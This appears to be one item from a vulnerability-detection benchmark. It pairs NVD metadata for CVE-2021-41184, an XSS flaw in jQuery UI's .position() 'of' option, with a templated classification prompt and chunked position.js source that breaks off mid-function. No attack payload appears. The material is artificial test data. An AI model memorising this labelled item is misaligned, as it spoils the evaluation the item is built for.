"matchCriteriaId": "736AEAE9-782B-4F71-9893-DED53367E102", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h410s_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "D0B4AD8A-F172-4558-AEC6-FF424BA2D912", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h410s:-:*:*:*:*:*:*:*", "matchCriteriaId": "8497A4C9-8474-4A62-8331-3FE862ED4098", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h410c_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "234DEFE0-5CE5-4B0A-96B8-5D227CB8ED31", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h410c:-:*:*:*:*:*:*:*", "matchCriteriaId": "CDDF61B7-EC5C-467C-B710-B89F502CD04F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*", "matchCriteriaId": "013FAABA-8CDD-46AD-B321-9908634C880A", "versionEndExcluding": "7.86", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "7.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*", "matchCriteriaId": "BE1268C5-DEFD-44D8-8994-D93C7839D5C2", "versionEndExcluding": "9.2.11", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.2.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*", "matchCriteriaId": "7A28F55D-AEB8-454E-B1A9-163C4CB2B38D", "versionEndExcluding": "9.3.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.3.0", "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:tenable:tenable.sc:*:*:*:*:*:*:*:*", "matchCriteriaId": "CAB9A41F-91F1-40DF-BF12-6ADA7229A84C", "versionEndExcluding": "5.21.0", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:oracle:agile_plm:9.3.6:*:*:*:*:*:*:*", "matchCriteriaId": "C650FEDB-E903-4C2D-AD40-282AB5F2E3C2", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:application_express:*:*:*:*:*:*:*:*", "matchCriteriaId": "48B23728-0050-4AF0-B8B0-A959CBAB4505", "versionEndExcluding": "22.1.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:banking_platform:2.9.0:*:*:*:*:*:*:*", "matchCriteriaId": "AB9FC9AB-1070-420F-870E-A5EC43A924A4", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:banking_platform:2.12.0:*:*:*:*:*:*:*", "matchCriteriaId": "BDC6D658-09EA-4C41-869F-1C2EA163F751", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:big_data_spatial_and_graph:*:*:*:*:*:*:*:*", "matchCriteriaId": "384DEDD9-CB26-4306-99D8-83068A9B23ED", "versionEndExcluding": "23.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:big_data_spatial_and_graph:23.1:*:*:*:*:*:*:*", "matchCriteriaId": "BEF828F5-C666-40DA-98DD-CDF658D7090B", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:communications_interactive_session_recorder:6.4:*:*:*:*:*:*:*", "matchCriteriaId": "E812639B-EE28-4C68-9F6F-70C8BF981C86", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:communications_operations_monitor:4.3:*:*:*:*:*:*:*", "matchCriteriaId": "CBE1A019-7BB6-4226-8AC4-9D6927ADAEFA", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:communications_operations_monitor:4.4:*:*:*:*:*:*:*", "matchCriteriaId": "B98BAEB2-A540-4E8A-A946-C4331B913AFD", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:communications_operations_monitor:5.0:*:*:*:*:*:*:*", "matchCriteriaId": "B8FBE260-E306-4215-80C0-D2D27CA43E0F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:hospitality_inventory_management:9.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "8865CE15-F9A1-4A46-AF93-B58356BDEE6F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:hospitality_materials_control:18.1:*:*:*:*:*:*:*", "matchCriteriaId": "2AC63D10-2326-4542-B345-31D45B9A7408", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:hospitality_suite8:*:*:*:*:*:*:*:*", "matchCriteriaId": "C7F4B5F0-6B78-4A94-AD83-6B78D484E298", "versionEndExcluding": null, "versionEndIncluding": "8.14.0", "versionStartExcluding": null, "versionStartIncluding": "8.11.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:hospitality_suite8:8.10.2:*:*:*:*:*:*:*", "matchCriteriaId": "CBDA65DE-5727-49DC-8D50-DA81DB3E8841", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:jd_edwards_enterpriseone_tools:*:*:*:*:*:*:*:*", "matchCriteriaId": "C5F35B8D-6F26-4682-8541-6F10EE2ACE7E", "versionEndExcluding": null, "versionEndIncluding": "9.2.6.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.58:*:*:*:*:*:*:*", "matchCriteriaId": "D9DB4A14-2EF5-4B54-95D2-75E6CF9AA0A9", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.59:*:*:*:*:*:*:*", "matchCriteriaId": "C8AF00C6-B97F-414D-A8DF-057E6BFD8597", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:policy_automation:*:*:*:*:*:*:*:*", "matchCriteriaId": "15C83E0F-5FA2-47E5-9FCF-CD2E90D6A9E8", "versionEndExcluding": null, "versionEndIncluding": "12.2.25", "versionStartExcluding": null, "versionStartIncluding": "12.2.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:primavera_unifier:*:*:*:*:*:*:*:*", "matchCriteriaId": "08FA59A8-6A62-4B33-8952-D6E658F8DAC9", "versionEndExcluding": null, "versionEndIncluding": "17.12", "versionStartExcluding": null, "versionStartIncluding": "17.7", "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:primavera_unifier:18.8:*:*:*:*:*:*:*", "matchCriteriaId": "202AD518-2E9B-4062-B063-9858AE1F9CE2", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:primavera_unifier:19.12:*:*:*:*:*:*:*", "matchCriteriaId": "10864586-270E-4ACF-BDCC-ECFCD299305F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:primavera_unifier:20.12:*:*:*:*:*:*:*", "matchCriteriaId": "38340E3C-C452-4370-86D4-355B6B4E0A06", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:primavera_unifier:21.12:*:*:*:*:*:*:*", "matchCriteriaId": "E9C55C69-E22E-4B80-9371-5CD821D79FE2", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:rest_data_services:*:*:*:*:-:*:*:*", "matchCriteriaId": "105BF985-2403-455E-BAA1-509245B54A1D", "versionEndExcluding": "22.1.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:rest_data_services:22.1.1:*:*:*:-:*:*:*", "matchCriteriaId": "281F1ACB-3180-422C-BADF-B0AE5F50924E", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:weblogic_server:12.2.1.3.0:*:*:*:*:*:*:*", "matchCriteriaId": "F14A818F-AA16-4438-A3E4-E64C9287AC66", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:weblogic_server:12.2.1.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "4A5BB153-68E0-4DDA-87D1-0D9AB7F0A418", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:weblogic_server:14.1.1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "04BCDC24-4A21-473C-8733-0D9CFB38A752", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}], "descriptions": [{"lang": "en", "value": "jQuery-UI is the official jQuery user interface library. Prior to version 1.13.0, accepting the value of the `of` option of the `.position()` util from untrusted sources may execute untrusted code. The issue is fixed in jQuery UI 1.13.0. Any string value passed to the `of` option is now treated as a CSS selector. A workaround is to not accept the value of the `of` option from untrusted sources."}, {"lang": "es", "value": "jQuery-UI es la biblioteca oficial de interfaz de usuario de jQuery. Antes de la versi\u00f3n 1.13.0, aceptar el valor de la opci\u00f3n \"of\" de la utilidad \".position()\" de fuentes no confiables pod\u00eda ejecutar c\u00f3digo no confiable. El problema es corregido en jQuery UI versi\u00f3n 1.13.0. Cualquier valor de cadena pasado a la opci\u00f3n \"of\" se trata ahora como un selector CSS. Una soluci\u00f3n es no aceptar el valor de la opci\u00f3n \"of\" de fuentes no confiables"}], "evaluatorComment": null, "id": "CVE-2021-41184", "lastModified": "2022-11-07T17:20:09.440", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-10-26T15:15:10.460", "references": [{"source": "security-advisories@github.com", "tags": ["Release Notes", "Vendor Advisory"], "url": "https://blog.jqueryui.com/2021/10/jquery-ui-1-13-0-released/"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Vendor Advisory"], "url": "https://github.com/jquery/jquery-ui/commit/effa323f1505f2ce7a324e4f429fa9032c72f280"}, {"source": "security-advisories@github.com", "tags": ["Mitigation", "Patch", "Vendor Advisory"], "url": "https://github.com/jquery/jquery-ui/security/advisories/GHSA-gpqq-952q-5327"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HVKIOWSXL2RF2ULNAP7PHESYCFSZIJE3/"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NXIUUBRVLA4E7G7MMIKCEN75YN7UFERW/"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/O74SXYY7RGXREQDQUDQD4BPJ4QQTD2XQ/"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SGSY236PYSFYIEBRGDERLA7OSY6D7XL4/"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SNXA7XRKGINWSUIPIZ6ZBCTV6N3KSHES/"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://security.netapp.com/advisory/ntap-20211118-0004/"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://www.drupal.org/sa-core-2022-001"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://www.oracle.com/security-alerts/cpujul2022.html"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Release Notes", "Third Party Advisory"], "url": "https://www.tenable.com/security/tns-2022-09"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "security-advisories@github.com", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-79"}], "source": "nvd@nist.gov", "type": "Secondary"}]}, "github_commit_url": "https://github.com/jquery/jquery-ui/commit/effa323f1505f2ce7a324e4f429fa9032c72f280"}, "type": "CWE-79"}
127
Determine whether the {function_name} code is vulnerable or not.
[ "/*!\n * jQuery UI Position @VERSION\n * http://jqueryui.com\n *\n * Copyright jQuery Foundation and other contributors\n * Released under the MIT license.\n * http://jquery.org/license\n *\n * http://api.jqueryui.com/position/\n */", "//>>label: Position\n//>>group: Core\n//>>description: Positions elements relative to other elements.\n//>>docs: http://api.jqueryui.com/position/\n//>>demos: http://jqueryui.com/position/", "( function( factory ) {\n\tif ( typeof define === \"function\" && define.amd ) {", "\t\t// AMD. Register as an anonymous module.\n\t\tdefine( [ \"jquery\", \"./version\" ], factory );\n\t} else {", "\t\t// Browser globals\n\t\tfactory( jQuery );\n\t}\n}( function( $ ) {\n( function() {\nvar cachedScrollbarWidth,\n\tmax = Math.max,\n\tabs = Math.abs,\n\trhorizontal = /left|center|right/,\n\trvertical = /top|center|bottom/,\n\troffset = /[\\+\\-]\\d+(\\.[\\d]+)?%?/,\n\trposition = /^\\w+/,\n\trpercent = /%$/,\n\t_position = $.fn.position;", "function getOffsets( offsets, width, height ) {\n\treturn [\n\t\tparseFloat( offsets[ 0 ] ) * ( rpercent.test( offsets[ 0 ] ) ? width / 100 : 1 ),\n\t\tparseFloat( offsets[ 1 ] ) * ( rpercent.test( offsets[ 1 ] ) ? height / 100 : 1 )\n\t];\n}", "function parseCss( element, property ) {\n\treturn parseInt( $.css( element, property ), 10 ) || 0;\n}", "function isWindow( obj ) {\n\treturn obj != null && obj === obj.window;\n}", "function getDimensions( elem ) {\n\tvar raw = elem[ 0 ];\n\tif ( raw.nodeType === 9 ) {\n\t\treturn {\n\t\t\twidth: elem.width(),\n\t\t\theight: elem.height(),\n\t\t\toffset: { top: 0, left: 0 }\n\t\t};\n\t}\n\tif ( isWindow( raw ) ) {\n\t\treturn {\n\t\t\twidth: elem.width(),\n\t\t\theight: elem.height(),\n\t\t\toffset: { top: elem.scrollTop(), left: elem.scrollLeft() }\n\t\t};\n\t}\n\tif ( raw.preventDefault ) {\n\t\treturn {\n\t\t\twidth: 0,\n\t\t\theight: 0,\n\t\t\toffset: { top: raw.pageY, left: raw.pageX }\n\t\t};\n\t}\n\treturn {\n\t\twidth: elem.outerWidth(),\n\t\theight: elem.outerHeight(),\n\t\toffset: elem.offset()\n\t};\n}", "$.position = {\n\tscrollbarWidth: function() {\n\t\tif ( cachedScrollbarWidth !== undefined ) {\n\t\t\treturn cachedScrollbarWidth;\n\t\t}\n\t\tvar w1, w2,\n\t\t\tdiv = $( \"<div style=\" +\n\t\t\t\t\"'display:block;position:absolute;width:200px;height:200px;overflow:hidden;'>\" +\n\t\t\t\t\"<div style='height:300px;width:auto;'></div></div>\" ),\n\t\t\tinnerDiv = div.children()[ 0 ];", "\t\t$( \"body\" ).append( div );\n\t\tw1 = innerDiv.offsetWidth;\n\t\tdiv.css( \"overflow\", \"scroll\" );", "\t\tw2 = innerDiv.offsetWidth;", "\t\tif ( w1 === w2 ) {\n\t\t\tw2 = div[ 0 ].clientWidth;\n\t\t}", "\t\tdiv.remove();", "\t\treturn ( cachedScrollbarWidth = w1 - w2 );\n\t},\n\tgetScrollInfo: function( within ) {\n\t\tvar overflowX = within.isWindow || within.isDocument ? \"\" :\n\t\t\t\twithin.element.css( \"overflow-x\" ),\n\t\t\toverflowY = within.isWindow || within.isDocument ? \"\" :\n\t\t\t\twithin.element.css( \"overflow-y\" ),\n\t\t\thasOverflowX = overflowX === \"scroll\" ||\n\t\t\t\t( overflowX === \"auto\" && within.width < within.element[ 0 ].scrollWidth ),\n\t\t\thasOverflowY = overflowY === \"scroll\" ||\n\t\t\t\t( overflowY === \"auto\" && within.height < within.element[ 0 ].scrollHeight );\n\t\treturn {\n\t\t\twidth: hasOverflowY ? $.position.scrollbarWidth() : 0,\n\t\t\theight: hasOverflowX ? $.position.scrollbarWidth() : 0\n\t\t};\n\t},\n\tgetWithinInfo: function( element ) {\n\t\tvar withinElement = $( element || window ),\n\t\t\tisElemWindow = isWindow( withinElement[ 0 ] ),\n\t\t\tisDocument = !!withinElement[ 0 ] && withinElement[ 0 ].nodeType === 9,\n\t\t\thasOffset = !isElemWindow && !isDocument;\n\t\treturn {\n\t\t\telement: withinElement,\n\t\t\tisWindow: isElemWindow,\n\t\t\tisDocument: isDocument,\n\t\t\toffset: hasOffset ? $( element ).offset() : { left: 0, top: 0 },\n\t\t\tscrollLeft: withinElement.scrollLeft(),\n\t\t\tscrollTop: withinElement.scrollTop(),\n\t\t\twidth: withinElement.outerWidth(),\n\t\t\theight: withinElement.outerHeight()\n\t\t};\n\t}\n};", "$.fn.position = function( options ) {\n\tif ( !options || !options.of ) {\n\t\treturn _position.apply( this, arguments );\n\t}", "\t// Make a copy, we don't want to modify arguments\n\toptions = $.extend( {}, options );", "\tvar atOffset, targetWidth, targetHeight, targetOffset, basePosition, dimensions,", "\n\t\t// Make sure string options are treated as CSS selectors\n\t\ttarget = typeof options.of === \"string\" ?\n\t\t\t$( document ).find( options.of ) :\n\t\t\t$( options.of ),\n", "\t\twithin = $.position.getWithinInfo( options.within ),\n\t\tscrollInfo = $.position.getScrollInfo( within ),\n\t\tcollision = ( options.collision || \"flip\" ).split( \" \" ),\n\t\toffsets = {};", "\tdimensions = getDimensions( target );\n\tif ( target[ 0 ].preventDefault ) {", "\t\t// Force left top to allow flipping\n\t\toptions.at = \"left top\";\n\t}\n\ttargetWidth = dimensions.width;\n\ttargetHeight = dimensions.height;\n\ttargetOffset = dimensions.offset;", "\t// Clone to reuse original targetOffset later\n\tbasePosition = $.extend( {}, targetOffset );", "\t// Force my and at to have valid horizontal and vertical positions\n\t// if a value is missing or invalid, it will be converted to center\n\t$.each( [ \"my\", \"at\" ], function() {\n\t\tvar pos = ( options[ this ] || \"\" ).split( \" \" ),\n\t\t\thorizontalOffset,\n\t\t\tverticalOffset;", "\t\tif ( pos.length === 1 ) {\n\t\t\tpos = rhorizontal.test( pos[ 0 ] ) ?\n\t\t\t\tpos.concat( [ \"center\" ] ) :\n\t\t\t\trvertical.test( pos[ 0 ] ) ?\n\t\t\t\t\t[ \"center\" ].concat( pos ) :\n\t\t\t\t\t[ \"center\", \"center\" ];\n\t\t}\n\t\tpos[ 0 ] = rhorizontal.test( pos[ 0 ] ) ? pos[ 0 ] : \"center\";\n\t\tpos[ 1 ] = rvertical.test( pos[ 1 ] ) ? pos[ 1 ] : \"center\";", "\t\t// Calculate offsets\n\t\thorizontalOffset = roffset.exec( pos[ 0 ] );\n\t\tverticalOffset = roffset.exec( pos[ 1 ] );\n\t\toffsets[ this ] = [\n\t\t\thorizontalOffset ? horizontalOffset[ 0 ] : 0,\n\t\t\tverticalOffset ? verticalOffset[ 0 ] : 0\n\t\t];", "\t\t// Reduce to just the positions without the offsets\n\t\toptions[ this ] = [\n\t\t\trposition.exec( pos[ 0 ] )[ 0 ],\n\t\t\trposition.exec( pos[ 1 ] )[ 0 ]\n\t\t];\n\t} );", "\t// Normalize collision option\n\tif ( collision.length === 1 ) {\n\t\tcollision[ 1 ] = collision[ 0 ];\n\t}", "\tif ( options.at[ 0 ] === \"right\" ) {\n\t\tbasePosition.left += targetWidth;\n\t} else if ( options.at[ 0 ] === \"center\" ) {\n\t\tbasePosition.left += targetWidth / 2;\n\t}", "\tif ( options.at[ 1 ] === \"bottom\" ) {\n\t\tbasePosition.top += targetHeight;\n\t} else if ( options.at[ 1 ] === \"center\" ) {\n\t\tbasePosition.top += targetHeight / 2;\n\t}", "\tatOffset = getOffsets( offsets.at, targetWidth, targetHeight );\n\tbasePosition.left += atOffset[ 0 ];\n\tbasePosition.top += atOffset[ 1 ];", "\treturn this.each( function() {\n\t\tvar collisionPosition, using,\n\t\t\telem = $( this ),\n\t\t\telemWidth = elem.outerWidth(),\n\t\t\telemHeight = elem.outerHeight(),\n\t\t\tmarginLeft = parseCss( this, \"marginLeft\" ),\n\t\t\tmarginTop = parseCss( this, \"marginTop\" ),\n\t\t\tcollisionWidth = elemWidth + marginLeft + parseCss( this, \"marginRight\" ) +\n\t\t\t\tscrollInfo.width,\n\t\t\tcollisionHeight = elemHeight + marginTop + parseCss( this, \"marginBottom\" ) +\n\t\t\t\tscrollInfo.height,\n\t\t\tposition = $.extend( {}, basePosition ),\n\t\t\tmyOffset = getOffsets( offsets.my, elem.outerWidth(), elem.outerHeight() );", "\t\tif ( options.my[ 0 ] === \"right\" ) {\n\t\t\tposition.left -= elemWidth;\n\t\t} else if ( options.my[ 0 ] === \"center\" ) {\n\t\t\tposition.left -= elemWidth / 2;\n\t\t}", "\t\tif ( options.my[ 1 ] === \"bottom\" ) {\n\t\t\tposition.top -= elemHeight;\n\t\t} else if ( options.my[ 1 ] === \"center\" ) {\n\t\t\tposition.top -= elemHeight / 2;\n\t\t}", "\t\tposition.left += myOffset[ 0 ];\n\t\tposition.top += myOffset[ 1 ];", "\t\tcollisionPosition = {\n\t\t\tmarginLeft: marginLeft,\n\t\t\tmarginTop: marginTop\n\t\t};", "\t\t$.each( [ \"left\", \"top\" ], function( i, dir ) {\n\t\t\tif ( $.ui.position[ collision[ i ] ] ) {\n\t\t\t\t$.ui.position[ collision[ i ] ][ dir ]( position, {\n\t\t\t\t\ttargetWidth: targetWidth,\n\t\t\t\t\ttargetHeight: targetHeight,\n\t\t\t\t\telemWidth: elemWidth,\n\t\t\t\t\telemHeight: elemHeight,\n\t\t\t\t\tcollisionPosition: collisionPosition,\n\t\t\t\t\tcollisionWidth: collisionWidth,\n\t\t\t\t\tcollisionHeight: collisionHeight,\n\t\t\t\t\toffset: [ atOffset[ 0 ] + myOffset[ 0 ], atOffset [ 1 ] + myOffset[ 1 ] ],\n\t\t\t\t\tmy: options.my,\n\t\t\t\t\tat: options.at,\n\t\t\t\t\twithin: within,\n\t\t\t\t\telem: elem\n\t\t\t\t} );\n\t\t\t}\n\t\t} );", "\t\tif ( options.using ) {", "\t\t\t// Adds feedback as second argument to using callback, if present\n\t\t\tusing = function( props ) {\n\t\t\t\tvar left = targetOffset.left - position.left,\n\t\t\t\t\tright = left + targetWidth - elemWidth,\n\t\t\t\t\ttop = targetOffset.top - position.top,\n\t\t\t\t\tbottom = top + targetHeight - elemHeight,\n\t\t\t\t\tfeedback = {\n\t\t\t\t\t\ttarget: {\n\t\t\t\t\t\t\telement: target,\n\t\t\t\t\t\t\tleft: targetOffset.left,\n\t\t\t\t\t\t\ttop: targetOffset.top,\n\t\t\t\t\t\t\twidth: targetWidth,\n\t\t\t\t\t\t\theight: targetHeight\n\t\t\t\t\t\t},\n\t\t\t\t\t\telement: {\n\t\t\t\t\t\t\telement: elem,\n\t\t\t\t\t\t\tleft: position.left,\n\t\t\t\t\t\t\ttop: position.top,\n\t\t\t\t\t\t\twidth: elemWidth,\n\t\t\t\t\t\t\theight: elemHeight\n\t\t\t\t\t\t},\n\t\t\t\t\t\thorizontal: right < 0 ? \"left\" : left > 0 ? \"right\" : \"center\",\n\t\t\t\t\t\tvertical: bottom < 0 ? \"top\" : top > 0 ? \"bottom\" : \"middle\"\n\t\t\t\t\t};\n\t\t\t\tif ( targetWidth < elemWidth && abs( left + right ) < targetWidth ) {\n\t\t\t\t\tfeedback.horizontal = \"center\";\n\t\t\t\t}\n\t\t\t\tif ( targetHeight < elemHeight && abs( top + bottom ) < targetHeight ) {\n\t\t\t\t\tfeedback.vertical = \"middle\";\n\t\t\t\t}\n\t\t\t\tif ( max( abs( left ), abs( right ) ) > max( abs( top ), abs( bottom ) ) ) {\n\t\t\t\t\tfeedback.important = \"horizontal\";\n\t\t\t\t} else {\n\t\t\t\t\tfeedback.important = \"vertical\";\n\t\t\t\t}\n\t\t\t\toptions.using.call( this, props, feedback );\n\t\t\t};\n\t\t}", "\t\telem.offset( $.extend( position, { using: using } ) );\n\t} );\n};", "$.ui.position = {\n\tfit: {\n\t\tleft: function( position, data ) {\n\t\t\tvar within = data.within,\n\t\t\t\twithinOffset = within.isWindow ? within.scrollLeft : within.offset.left,\n\t\t\t\touterWidth = within.width,\n\t\t\t\tcollisionPosLeft = position.left - data.collisionPosition.marginLeft,\n\t\t\t\toverLeft = withinOffset - collisionPosLeft,\n\t\t\t\toverRight = collisionPosLeft + data.collisionWidth - outerWidth - withinOffset,\n\t\t\t\tnewOverRight;", "\t\t\t// Element is wider than within\n\t\t\tif ( data.collisionWidth > outerWidth ) {", "\t\t\t\t// Element is initially over the left side of within\n\t\t\t\tif ( overLeft > 0 && overRight <= 0 ) {\n\t\t\t\t\tnewOverRight = position.left + overLeft + data.collisionWidth - outerWidth -\n\t\t\t\t\t\twithinOffset;\n\t\t\t\t\tposition.left += overLeft - newOverRight;", "\t\t\t\t// Element is initially over right side of within\n\t\t\t\t} else if ( overRight > 0 && overLeft <= 0 ) {\n\t\t\t\t\tposition.left = withinOffset;", "\t\t\t\t// Element is initially over both left and right sides of within\n\t\t\t\t} else {\n\t\t\t\t\tif ( overLeft > overRight ) {\n\t\t\t\t\t\tposition.left = withinOffset + outerWidth - data.collisionWidth;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tposition.left = withinOffset;\n\t\t\t\t\t}\n\t\t\t\t}", "\t\t\t// Too far left -> align with left edge\n\t\t\t} else if ( overLeft > 0 